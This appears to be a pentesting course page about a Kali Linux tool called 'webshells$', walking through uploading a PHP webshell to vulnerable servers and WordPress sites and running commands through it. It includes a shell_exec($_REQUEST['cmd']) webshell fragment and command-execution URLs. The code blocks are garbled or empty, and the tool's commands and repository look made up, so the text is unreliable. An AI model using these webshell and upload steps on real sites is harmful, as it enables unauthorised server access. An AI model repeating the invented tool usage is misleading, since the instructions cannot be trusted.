# Course #684: Exploring the webshells$ Tool in Kali Linux
## Section 1: Installation and Configuration of webshells$ on Kali Linux
In this section, we will cover the installation and configuration of the `webshells$` tool on Kali Linux, followed by an exploration of its functionalities and real-world applications. This tool is integral for web application security assessments, especially when pentesting web applications hosted on a server.
### 1.1 Installation of webshells$
The `webshells$` tool is typically bundled within the Kali Linux distribution, but if you find that it is missing or require an updated version, you can follow these steps to install it:
#### 1.1.1 Update the System
Before installing any new tools, it's a good practice to ensure your system is up to date. Open your terminal and run:
"`bash
sudo apt update && sudo apt upgrade -y
"`
#### 1.1.2 Installing Dependencies
`webshells$` may have some dependencies that need to be installed separately. Ensure you have the necessary packages:
"`bash
sudo apt install git wget curl unzip -y
"`
#### 1.1.3 Downloading and Installing webshells$
You can directly clone the repository from GitHub. In this case, we will use `git` to clone `webshells$`:
"`bash
git clone https://github.com/your-repository/webshells.git
cd webshells
"`
Ensure to replace the URL with the actual repository link if it's hosted elsewhere.
#### 1.1.4 Verifying Installation
Once the tool is downloaded, it’s essential to verify that it has been installed correctly. You can do this by checking the version or accessing the help menu:
"`bash
./webshells –version
"`
If there's no error, the installation was successful.
### 1.2 Configuration of webshells$
Configuration of `webshells$` is straightforward. Most operations are command-line based, and you can set up your environment to suit your pentesting needs.
#### 1.2.1 Configuration File
Some functionalities of `webshells$` may require a configuration file. This file usually resides in the installation directory, and you may edit it with your preferred text editor:
"`bash
nano config.json
"`
Here, you can set parameters like logging paths, target URLs, and other necessary settings to help streamline your pentesting workflow.
#### 1.2.2 Setting Up Logging
It's advisable to enable logging for your pentesting activities. This can be set in the configuration file:
"`json
{
"enable_logging": true,
"log_file": "webshells_log.txt"
}
"`
### 1.3 Step-by-Step Usage of webshells$
Having installed and configured the tool, let’s delve into its functionalities through a series of real-world use cases that showcase how `webshells$` can be utilized effectively in a pentesting scenario.
#### 1.3.1 Basic Command Structure
The basic command structure for invoking `webshells$` looks like this:
"`bash
./webshells [options]
"`
Where `options` can vary based on the functionalities you need (like scanning, exploiting, etc.).
#### 1.3.2 Real-World Use Case: Uploading a Webshell to a Vulnerable Server
One common application of `webshells$` is to test web server vulnerabilities by uploading a shell. Let’s walk through this.
1. **Identifying Vulnerable Targets:**
First, use tools like `nikto` or `dirbuster` to find potential upload vulnerabilities on your target.
nikto -h target-website.com
2. **Uploading the Webshell:**
Once you have identified a vulnerable upload function, you can use `webshells$` to upload a webshell. The command might look like this:
./webshells upload –url http://target-website.com/upload.php –file /path/to/shell.php
Replace `http://target-website.com/upload.php` with the actual upload URL and `/path/to/shell.php` with the path to your shell script.
3. **Accessing the Webshell:**
After uploading the shell, you can access it by navigating to the URL in your browser:
[/dm_code_snippet]html
http://target-website.com/uploads/shell.php
[/dm_code_snippet]
Before executing any commands, ensure that the permissions of the uploaded shell are set correctly on the server.
#### 1.3.3 Executing Commands through the Webshell
Upon accessing the webshell, you can execute commands directly from your browser. The commands you can run depend on the features of the specific webshell used.
"`php
" . shell_exec($_REQUEST['cmd']) . "
";
}
?>
"`
To execute a command such as listing files, you can append the command as a query string:
"`html
http://target-website.com/uploads/shell.php?cmd=ls
"`
This functionality can help you gather vital information about the server, such as file structures and configurations.
### 1.4 Detailed Technical Explanations
The `webshells$` tool operates on the idea of exploiting web application vulnerabilities. Understanding the technical mechanisms behind web vulnerabilities will greatly aid in effectively using this tool.
#### 1.4.1 Web Application Vulnerabilities
Web application vulnerabilities can arise due to various factors, including:
– **Insufficient Input Validation:** Allowing arbitrary file uploads without checking the file type can lead to serious vulnerabilities.
– **Improper Authentication Mechanisms:** Weak or missing authentication can allow unauthorized users to gain access.
– **Broken Access Control:** Users may be able to access resources they should not.
#### 1.4.2 The Role of Webshells
Webshells act as a backdoor into a compromised web application. Once uploaded, they provide an interface for executing commands, managing files, and potentially pivoting to other parts of the network. Here are the types of webshell functionalities you may encounter:
1. **Command Execution:** Allows you to run shell commands on the server.
2. **File Management:** Upload, download, and delete files on the server.
3. **Database Access:** Interact with the database through SQL commands.
### 1.5 External Reference Links
For further understanding and advanced techniques related to `webshells$`, consider checking the following resources:
– [Kali Linux Official Documentation](https://www.kali.org/docs/)
– [OWASP Top Ten Security Risks](https://owasp.org/www-project-top-ten/)
– [Understanding Webshells: An Overview](https://www.cybintsolutions.com/webshells/)
– [Penetration Testing Methodologies](https://www.owasp.org/index.php/Penetration_Testing)
### 1.6 Code Examples for WordPress
If you're targeting a WordPress installation, the following code snippets can illustrate how you can exploit vulnerable plugins/themes to upload webshells.
#### 1.6.1 Example of a PHP Webshell
Here’s a simple PHP webshell for educational purposes:
"`php
"`
You can upload this script using a vulnerable plugin like a non-secured file uploader, and access it via:
"`html
http://target-wordpress-site.com/wp-content/uploads/shell.php?cmd=whoami
"`
#### 1.6.2 WordPress Scanning
Use `webshells$` to help find common vulnerabilities in WordPress installations:
"`bash
./webshells scan –url http://target-wordpress-site.com
"`
This command will scan the provided URL for known vulnerabilities.
### Summary
In this section, we have explored the installation and setup of the `webshells$` tool on Kali Linux, along with practical, real-world use cases that highlight its functionality in web application pentesting. As a penetration tester, mastering the use of tools like `webshells$` will greatly enhance your effectiveness and efficiency in identifying and exploiting web vulnerabilities.
Be sure to practice these techniques ethically and in controlled environments, following the legal guidelines governing your activities.
—
Made by pablo rotem / פבלו רותם